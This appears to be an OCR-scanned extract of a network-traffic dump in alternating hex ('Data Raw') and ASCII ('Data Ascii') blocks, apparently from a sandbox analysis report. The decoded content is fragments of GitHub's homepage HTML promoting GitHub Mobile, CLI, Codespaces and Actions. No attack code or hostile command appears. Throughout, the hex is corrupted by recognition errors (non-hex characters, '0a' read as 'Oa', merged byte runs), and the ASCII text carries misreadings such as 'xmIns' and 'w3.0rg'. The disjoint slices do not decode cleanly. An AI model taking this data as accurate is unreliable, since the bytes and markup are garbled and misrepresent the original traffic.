Data Raw: 35 20 30 20 30 20 30 20 2e 32 35 2d 2e 32 35 76 2d 31 34 2e 35 61 2e 32 35 2e 32 35 20 30 20 30 20 30 20
2d 2e 32 35 2d 2e 32 35 7a 22 20 66 69 6¢ 6¢ 2d 72 75 6¢ 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 2f 70 61 74 68 3e 3c 2f
67 3e 3c 2f 73 76 67 3e Oa Oa 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d
22746578 742d 747275 6e 63 61 74 65 20 75 6e 73 65 6¢ 65 63 74 61 62 6¢ 65 22 3e 67 69 74 20 6d 65 72 67 65 20
6164 64 2d 737461 74 75 73 2d 73 63 72 65 65 6e 73 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20
20 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6¢ 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0a Oa 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73

Data Ascii: 5 0 0 0 .25-.25v-14.5a.25.25 0 0 0 -.25-.25z" fill-rule="evenodd"></path></g></svg> <span cla
ss="text-truncate unselectable">git merge add-status-screens</span> </li> </ul> </div> <div
class

Data Raw: 78 2d 77 69 64 74 68 3a 20 34 39 30 70 78 3b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 62 75 69 6¢ 64 2d 69 6e 20 62 75 69 6¢ 64 2d 69 6e 2d 73 6¢ 69 64 65
59 20 68 6f 6d 65 2d 6d 6f 62 69 6¢ 65 2d 69 70 68 6f 6e 65 20 6d 78 2d 61 75 74 6f 20 62 6f 78 2d 73 68 61 64 6f 77 2d
61 63 74 69 76 65 2d 6d 6b 74 67 20 6d 62 2d 35 20 6d 62 2d 6d 64 2d 36 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 6
9 76 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74
70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75
6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 69 70 68 6f 6e 65 2d 6e 6f

Data Ascii: x-width: 490px;"> <div class="js-build-in build-in-slideY home-mobile-iphone mx-auto box-shadow-
active-mktg mb-5 mb-md-6 position-relative"> <img src="https://github.githubassets.com/images/mo
dules/site/lhome/iphone-no

Data Raw: 69 6f 6e 20 6¢ 61 75 6e 63 68 70 61 64 3b 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 2f 6d 6f 62 69 6¢ 65
22 3e 47 69 74 48 75 62 20 4d 6f 62 69 6¢ 65 3c 2f 61 3e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
3c 2f 68 33 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 63 6¢ 61 73 73 3d 22 66 34 2d 6d
6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 74 65 78 74 2d 67 72 61 79 2d 6d 6b 74 67 20 6d 62 2d 33 22 3e
4176 61 69 6¢ 61 62 6¢ 65 20 66 6 72 20 69 4f 53 20 61 6€ 64 20 41 6e 64 72 6f 69 64 3¢ 2f 68 34 3e 0a 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6¢ 20 63 6¢ 61 73 73 3d 22 6¢ 69 73 74 2d 73 74 79 6¢ 65 2d 6e 6f 6e 65
20 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74

Data Ascii: ion launchpad;&quot;}" href="/mobile">GitHub Mobile</a>. </h3> <h4 class="f4-mktg te
xt-semibold text-gray-mktg mb-3">Available for iOS and Android</h4> <ul class="list-style-none d-flex flex-
items-cent

Data Raw: 6f 6d 65 2f 6¢ 6f 67 6f 73 2f 70 6¢ 61 74 66 6f 72 6d 2d 67 6f 6f 67 6¢ 65 2e 73 76 67 22 20 61 6¢ 74 3d 22 47
6f 6f 67 6¢ 65 20 50 6¢ 61 79 20 53 74 6f 72 65 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 0a 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6¢ 3e 0a 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 0a 20
2020 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6f 66 66 73 65 74 2d 73 6d 2d 31 20 6d 6¢ 2
d 6¢ 67 2d 30 20 63 6f 6¢ 2d 31 32 20 63 6f 6¢ 2d 73 6d 2d 31 31
Data Ascii: ome/logos/platform-google.svg" alt="Google Play Store" loading="lazy"> </a> </li>
</ul> </div> </div> <div class="offset-sm-1 ml-Ig-0 col-12 col-sm-11

Data Raw: 76 20 63 6¢ 61 73 73 3d 22 70 78 2d 34 20 70 74 2d 33 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65
22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 72 6f 77 20
66 6¢ 65 78 2d 6e 6f 77 72 61 70 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 6d 74 2d 31 22 20 61 72 69 61
2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢ 61 73 73
3d 22 64 2d 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 20 63 69 72 63 6¢ 65 20 6d 72 2d 32 20 63 6f 6¢ 6f 72 2d 62 67 2d 65 6d
7068 61 73 69 73 22 20 73 74 79 6¢ 65 3d 22 77 69 64 74 68 3a 20 31 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 70
78 3b 20 6f 70 61 63 69 74 79 3a 20 2e 34 3b 22 3e 3c 2f 73 70 61

Data Ascii: v class="px-4 pt-3 position-relative"> <div class="d-flex flex-row flex-nowrap position-absolute mt-1" aria-
hidden="true"> <span class="d-inline-block circle mr-2 color-bg-emphasis" style="width: 12px; height: 12px; opac
ity: .4;"></spa

Data Raw: Oa Oa 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22 3e Oa Oa
2020 20 20 20 20 20 20 3¢ 73 70 61 6e 3e 3c 73 74 72 6f 6e 67 3e 43 72 65 61 74 65 64 20 62 79 20 79 6f 75 3¢ 2f 73
74 72 6f 6e 67 3e 3¢ 2f 73 70 61 6e 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa Oa 20 20 20 20 20 20 3c 64 69 76 20
63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22 3e 0a Oa 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 3c 76 61
72 3e 59 6f 75 20 68 61 76 65 20 6e 6f 20 6f 70 65 6e 20 70 75 6¢ 6¢ 20 72 65 71 75 65 73 74 73 3¢ 2f 76 61 72 3e 3c 2f
7370 61 6e 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa Oa 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6
a732d 74797065 2d 72 6f 77 22 3e 0a 0a 20 20 20 20 20 20 20

Data Ascii: <div class="js-type-row"> <span><strong>Created by you</strong></span>  </div>  <div cl
ass="js-type-row"> <span><var>You have no open pull requests</var></span>  </div>  <div class="js-type-ro
w">
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Data

Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 20 63 6¢ 61 73 73 3d 22 66 32 2d 6d 6b 74 67 20
74657874 2d 67 72 61 79 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 6d 62 2d 35 20 6d 62 2d 6C 67
2d 30 20 63 6f 6¢ 2d 35 2d 6d 61 78 22 3e 3¢ 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 74 65 78 74 2d 67 72 61 79 2d 64 61 7
2 6b 2d 6d 6b 74 67 22 3e 57 6f 72 6b 20 68 6f 77 65 76 65 72 20 79 6f 75 20 77 61 6e 74 2e 3c 2f 73 70 61 6e 3e Oa 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 50 75 74 20 61 20 47 55 49 20 6f 6e 20 69 74 20 77 69 74 68
20 3c 61 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 61 63 63 65 6e 74 22 20 64 61 74 61 2d 61 6e 61 6¢C 79 74
69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f

Data Ascii: <h3 class="f2-mktg text-gray-mktg text-semibold mb-5 mb-Ig-0 col-5-max"><span class="text-gray-
dark-mktg">Work however you want.</span> Put a GUI on it with <a class="color-fg-accent" data-analytics-
event="{&quot;catego

Data Raw: 73 73 3d 22 6d 72 2d 31 20 70 78 2d 31 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74
6875 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65
2f 68 6f 6d 65 2f 6¢ 6 67 6f 73 2f 70 6¢ 61 74 66 6f 72 6d 2d 6C 69 6€ 75 78 2e 73 76 67 22 20 61 6¢ 74 3d 22 4c 69 6e
757822 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 3c 2f 75 6¢ 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6¢ 61 73 73 3d 22 66
36 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6d 6b 74 67 22 3e 2a 20 47 69 74 48 75 62 20 43 4c 49 20 69 73 20
61 76 61 69 6¢ 61 62 6¢ 65 20 6f 6 20 6d 61 63 4f 53 2¢ 20 57 69

Data Ascii: ss="mr-1 px-1"><img src="https://github.githubassets.com/images/modules/site/home/logos/platform-linux.svg"
alt="Linux" loading="lazy"></li> </ul> <p class="f6-mktg text-gray-mktg">* GitHub CLI is available

on macOS, Wi

Data Raw: 6¢ 61 73 73 3d 22 74 65 78 74 2d 67 72 61 64 69 65 6e 74 2d 74 7572 71 2d 70 75 72 70 6¢ 65 2d 64 61 72
6b 22 3e 43 6f 64 65 73 70 61 63 65 73 3c 2f 73 70 61 6e 3e 3c 2f 68 32 3e Oa 20 20 20 20 20 20 20 20 20 20 3c 61 20 63
6¢c 61 73 73 3d 22 6¢ 69 6e 6b 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 63 6f 6¢ 6f 72 2d 66 67 2d 64
65 66 61 75 6¢ 74 20 70 79 2d 31 20 66 33 2d 6d 6b 74 67 20 6¢ 69 6e 6b 2d 65 6d 70 68 61 73 69 73 2d 6d 6b 74 67 22
2068 72 65 66 3d 22 2f 66 65 61 74 75 72 65 73 2f 63 6f 64 65 73 70 61 63 65 73 22 20 64 61 74 61 2d 61 6e 61 6¢ 79 7
469 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b
48 6f 6d 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f

Data Ascii: lass="text-gradient-turg-purple-dark">Codespaces</span></h2> <a class="link-mktg text-semibold color-
fg-default py-1 f3-mktg link-emphasis-mktg" href="/features/codespaces" data-analytics-event="{&quot;category&quot;:&q
uot;Home&quot;,&quot;actio

Data Raw: 6¢ 2d 6d 64 2d 39 20 63 6f 6¢ 2d 6¢ 67 2d 36 20 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79
2d 69 74 65 6d 20 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74 65 6d 2d 31 20 70 6f 73 69 74 69
6f 6e 2d 72 65 6¢ 61 74 69 76 65 22 20 64 61 74 61 2d 62 75 69 6¢ 64 2d 6e 6f 6e 2d 64 65 63 6f 72 61 74 69 76 65 3d 22
747275 65 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77
7777 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74 3d 22
3238222076 69 65 77 42 6f 78 3d 22 30 20 30 20 32 38 20 32 30 22 20 77 69 64 74 68 3d 22 32 38 22 20 61 72 69 61
2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d

Data Ascii: I-md-9 col-Ig-6 home-codespaces-copy-item home-codespaces-copy-item-1 position-relative" data-build-non-
decorative="true"> <svg xmins="http://www.w3.0rg/2000/svg" fill="none" height="28" viewBox="0 0 28 20"
width="28" aria-hidden="true" class=

Data Raw: 38 20 31 2e 32 35 30 36 2e 34 38 37 31 20 31 2e 37 38 37 39 2e 30 37 39 36 6¢ 32 37 2e 32 39 32 33 2d 32
30 2e 37 30 34 36 63 2e 39 31 35 36 2d 2e 36 39 34 36 20 32 2e 32 33 30 37 2d 2e 30 34 31 36 20 32 2e 32 33 30 37 20
31 2e 31 30 37 37 76 2d 2e 30 38 30 34 63 30 2d 2e 38 30 36 37 2d 2e 34 36 32 31 2d 31 2e 35 34 32 31 2d 31 2e 31 38
39 2d 31 2e 38 39 32 31 7a 22 20 66 69 6¢ 6¢ 3d 22 23 30 30 36 35 61 39 22 3e 3c 2f 70 61 74 68 3e 3¢ 70 61 74 68 20
64 3d 22 6d 34 33 2e 36 30 39 36 20 34 35 2e 31 37 31 39 2d 36 2e 39 32 33 20 33 2e 33 33 33 34 63 2d 2e 38 30 31 33
2e 33 38 35 37 2d 31 2e 37 35 39 31 2e 32 32 33 2d 32 2e 33 38 38 2d 2e 34 30 35 38 6¢ 2d 32 32 2e 36 36 33 36 2d 32
30 2e 36 36 34 63 2d 2e 36 30 39 36 2d 2e 35 35 35 38 2d 2e 36 30 38 39 2d

Data Ascii: 8 1.2506.4871 1.7879.0796127.2923-20.7046¢.9156-.6946 2.2307-.0416 2.2307 1.1077v-.0804c0-.8067-.4621-
1.5421-1.189-1.89212" fill="#0065a9"></path><path d="m43.6096 45.1719-6.923 3.3334c-.8013.3857-1.7591.223-2.388-
.4058-22.6636-20.664c¢-.6096-.5558-.6089-

Data Raw: 6e 79 77 68 65 72 65 2e 3c 2f 68 33 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa 20 20 20 20
202020 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 62 75 69 6¢ 64 2d 69 6e 20 63 6f 6¢ 2d 31 32 20 63 6f
6c 2d 6d 64 2d 39 20 63 6f 6¢ 2d 6¢ 67 2d 36 20 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74 65
6d 20 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74 65 6d 2d 33 20 70 6f 73 69 74 69 6f 6e 2d 72
65 6¢ 61 74 69 76 65 22 20 64 61 74 61 2d 62 75 69 6¢ 64 2d 6e 6f 6e 2d 64 65 63 6f 72 61 74 69 76 65 3d 22 74 72 75
65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7
7 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 66 69 6¢ 6¢ 3d

Data Ascii: nywhere.</h3> </div> <div class="js-build-in col-12 col-md-9 col-Ig-6 home-codespaces-copy-item
home-codespaces-copy-item-3 position-relative” data-build-non-decorative="true"> <svg xmIns="http://www
.w3.0rg/2000/svg" fill=

Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d
61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 64 65 73 70 61 63 65 73 2d 76 73 63 6f 64 65
2d 31 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 76 69 65 77 20 68 6f 6d
65 2d 63 6f 64 65 73 70 61 63 65 73 2d 76 69 65 77 2d 31 20 7a 2d 32 20 72 6f 75 6e 64 65 64 2d 32 20 62 6f 78 2d 73
68 61 64 6f 77 2d 61 63 74 69 76 65 2d 62 6f 72 64 65 72 2d 6¢ 69 67 68 74 2d 6d 6b 74 67 22 20 61 6C 74 3d 22 56 53 2
043 6f 64 65 20 72 75 6e 6e 69 6e 67 20 69 6e 20 74 68 65 20 62 72 6f 77 73 65 72 20 77 69 74 68 20 79 6f 75 72 20 70
72 6f 6a 65 63 74 27 73 20 63 6f 64 65 20 61 6 64 20 64 65 76 65

Data Ascii: ="https://github.githubassets.com/images/modules/site/home/codespaces-vscode-1.png" class="home-co
despaces-view home-codespaces-view-1 z-2 rounded-2 box-shadow-active-border-light-mktg" alt="VS Code running in
the browser with your project's code and deve

Data Raw: 20 64 65 76 65 6¢ 6f 70 6d 65 6e 74 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 72 75 6e 6e 69 6e 67 2e 20 41 20
74 65 72 6d 69 6e 61 6¢ 20 70 61 6e 65 6¢ 20 69 73 20 76 69 73 69 61 62 6C 65 20 69 6e 20 74 68 65 20 65 64 69 74 6f
72 2e 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70
69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 20 20 20 20 20 20 20
2020 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 67 6¢ 6f 77 2d 63 6f
6e 74 61 69 6e 65 72 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 74 6f 70 2d 30 20 62 6f 74 74 6f 6d 2d 30
20 6f 76 65 72 66 6¢ 6f 77 2d 68 69 64 64 65 6e 22 3e Oa 20 20 20

Data Ascii: development environment running. A terminal panel is visiable in the editor." loading="lazy">

</picture> </div> <div class="home-codespaces-glow-container position-absolute top-0 bottom-0
overflow-hidden">
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Data

Data Raw: 61 75 74 6f 6d 61 74 65 22 3e 0a 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 78
6¢ 20 70 2d 72 65 73 70 6f 6e 73 69 76 65 20 70 62 2d 38 20 70 62 2d 6d 64 2d 39 22 3e 0a 20 20 20 20 3c 64 69 76 20
63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 6¢ 6f 67 2d 63 65 6e 74 65 72 20 70 74 2d 31 30 20 70 74 2d 6d 64 2d
313120 70 62 2d 38 20 70 62 2d 6d 64 2d 39 22 3e 0a 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6
c2d 38 2d 6d 61 78 20 6d 78 2d 30 20 6d 78 2d 6¢ 67 2d 61 75 74 6f 20 74 65 78 74 2d 6¢ 65 66 74 20 74 65 78 74 2d 6¢
67 2d 63 65 6e 74 65 72 20 6d 62 2d 34 20 6d 62 2d 6d 64 2d 37 20 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61 75 6C 74 20
70 62 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 32 20 63 6¢ 61 73

Data Ascii: automate"> <div class="container-x| p-responsive pb-8 pb-md-9"> <div class="home-git-log-center pt-10 pt-
md-11 pb-8 pb-md-9">  <div class="col-8-max mx-0 mx-lg-auto text-left text-lg-center mb-4 mb-md-7 color-bg-default
pb-3"> <h2 clas

Data Raw: 37 4c 37 2e 32 38 30 33 33 20 31 32 2e 37 38 30 33 4c 31 31 2e 35 33 30 33 20 38 2e 35 33 30 33 33 4c 31
30 2e 34 36 39 37 20 37 2e 34 36 39 36 37 5a 22 3e 3c 2f 70 61 74 68 3e 3¢ 70 61 74 68 20 63 6¢ 61 73 73 3d 22 6f 63
74 69 63 6f 6e 2d 63 68 65 76 72 6f 77 2d 73 74 65 6d 22 20 73 74 72 6f 6b 65 3d 22 63 75 72 72 65 6e 74 43 6f 6¢ 6f 72
22 20 64 3d 22 4d 31 2e 37 35 20 38 48 31 31 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 2e 35 22 20 73 74 72
6f 6b 65 2d 6¢ 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 0a Oa 3c 2f 61 3e Oa
20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 72 69 76 65 72 2d 6d
6b 74 67 20 6a 73 2d 62 75 69 6¢ 64 2d 69 6e 2d 74 72 69 67 67 65 72

Data Ascii: 7L7.28033 12.7803L11.5303 8.53033L10.4697 7.46967Z"></path><path class="octicon-chevrow-stem" stro
ke="currentColor" d="M1.75 8H11" stroke-width="1.5" stroke-linecap="round"></path></svg></a>  </div>  <div class
="river-mktg js-build-in-trigger

Data Raw: 6f 72 6b 66 6c 6f 77 20 66 69 6¢ 65 20 73 68 6f 77 63 61 73 69 6e 67 20 61 75 74 6f 63 6f 6d 70 6C 65 74 65
2220 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e Oa 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 6¢ 6f 6f 70 20
6d 75 74 65 64 20 70 6¢ 61 79 73 69 6e 6¢ 69 6e 65 20 70 72 65 6¢ 6 61 64 3d 22 6e 6f 6e 65 22 20 63 6¢ 61 73 73 3d
227769 64 74 68 2d 66 75 6¢ 6¢ 20 6¢ 6f 6f 70 69 6 67 2d 6d 6b 74 67 20 6a 73 2d 76 69 65 77 70 6f 72 74 2d 61 77 61
72 65 2d 76 69 64 65 6f 22 20 64 61 74 61 2d 74 68 72 65 73 68 6f 6¢ 64 3d 22 30 22 20 70 6f 73 74 65 72 3d 22 68 74 74
70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75
6c 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 61 63 74 69 6f 6e

Data Ascii: orkflow file showcasing autocomplete” loading="lazy"> <video loop muted playsinline preload="none"
class="width-full looping-mktg js-viewport-aware-video" data-threshold="0" poster="https://github.githubassets.com/image
s/modules/site/home/action

Data Raw: 61 73 20 79 6f 75 20 63 6f 64 65 2e 3c 2f 68 33 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6¢ 61
7373 3d 22 6¢ 69 6e 6b 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66
6175 6¢ 74 20 70 79 2d 31 20 66 34 2d 6d 6b 74 67 20 6¢ 69 6e 6b 2d 65 6d 70 68 61 73 69 73 2d 6d 6b 74 67 22 20 68
72 6566 3d 22 2f 6d 61 72 6b 65 74 70 6¢ 61 63 65 2f 61 63 74 69 6f 6e 73 22 20 64 61 74 61 2d 61 6€ 61 6¢C 79 74 69
63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 6f
6d 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20
74 6f 20 67 6f 20 74 6f 20 41 63 74 69 6f 6e 73 20 4d 61 72 6b

Data Ascii: as you code.</h3> <a class="link-mktg text-semibold color-fg-default py-1 f4-mktg link-emphasis-mktg"
href="/marketplace/actions" data-analytics-event="{&quot;category&quot;:&quot;Home&quot;,&quot;action&quot;:&quot;c
lick to go to Actions Mark

Data Raw: 2d 63 68 65 76 72 6f 77 2d 73 74 65 6d 22 20 73 74 72 6f 6b 65 3d 22 63 75 72 72 65 6e 74 43 6f 6¢ 6f 72 22
20 64 3d 22 4d 31 2e 37 35 20 38 48 31 31 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 2e 35 22 20 73 74 72 6f
6b 65 2d 6¢ 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e Oa Oa 3c 2f 61 3e Oa 20
20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 20 20 20 20 Oa 20 20 20 20 20 20 Oa 20 20 20 20 20 20 Oa 20
2020 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 64 69 76 3e Oa 20 20 3c 2f 64 69 76 3e Oa Oa 20 20 3c 64 69 7
62063 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32 20 70 79 2d 33 20 63 6f 6¢ 2d 6d 64 2d 36 20 63 6f 6¢ 2d 6¢ 67 2d 37 22 3e
0a 20 20 20 20 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 70 6f 73 69 74

Data Ascii: -chevrow-stem" stroke="currentColor" d="M1.75 8H11" stroke-width="1.5" stroke-linecap="round"></path>
</svg></a> </div> </div> </div> <div class="col-12 py-3 col-md-6 col-Ilg-7"> <div
class="posit

Data Raw: 68 6f 6d 65 2f 61 63 74 69 6f 6e 73 2d 65 64 69 74 6f 72 2d 73 69 64 65 62 61 72 2e 70 6e 67 22 20 63 6¢ 61
7373 3d 22 68 65 69 67 68 74 2d 66 75 6¢ 6¢ 22 20 61 6¢ 74 3d 22 54 68 65 20 41 63 74 69 6f 6€ 73 20 4d 61 72 6b 65
7470 6¢ 61 63 65 20 69 73 20 61 76 61 69 6¢ 61 62 6C 65 20 69 6€ 6¢ 69 6e 65 20 61 6¢ 6f 6e 67 73 69 64 65 20 74 68
6520 47 69 74 48 75 62 20 41 63 74 69 6f 6e 73 20 77 6f 72 6b 66 6¢ 6f 77 20 65 64 69 74 6f 72 22 20 6¢C 6f 61 64 69 62
67 3d 22 6¢ 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20
3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 20 20 20 20 20 20 20 20
3c 7069 63 74 75 72 65 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c

Data Ascii: home/actions-editor-sidebar.png"” class="height-full" alt="The Actions Marketplace is available inline alongside
the GitHub Actions workflow editor" loading="lazy" decoding="async"> </picture> </div> <picture>

<

Data Raw: 20 6c¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢
6920 63 6¢ 61 73 73 3d 22 6d 72 2d 31 20 70 78 2d 31 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67
69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6C 65 73 2f 73 69
74 65 2f 68 6f 6d 65 2f 6¢ 6f 67 6f 73 2f 70 6¢ 61 74 66 6f 72 6d 2d 61 70 70 6¢C 65 2€ 73 76 67 22 20 61 6¢C 74 3d 22 6d
61 63 4f 53 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 3c 2f 6¢ 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c
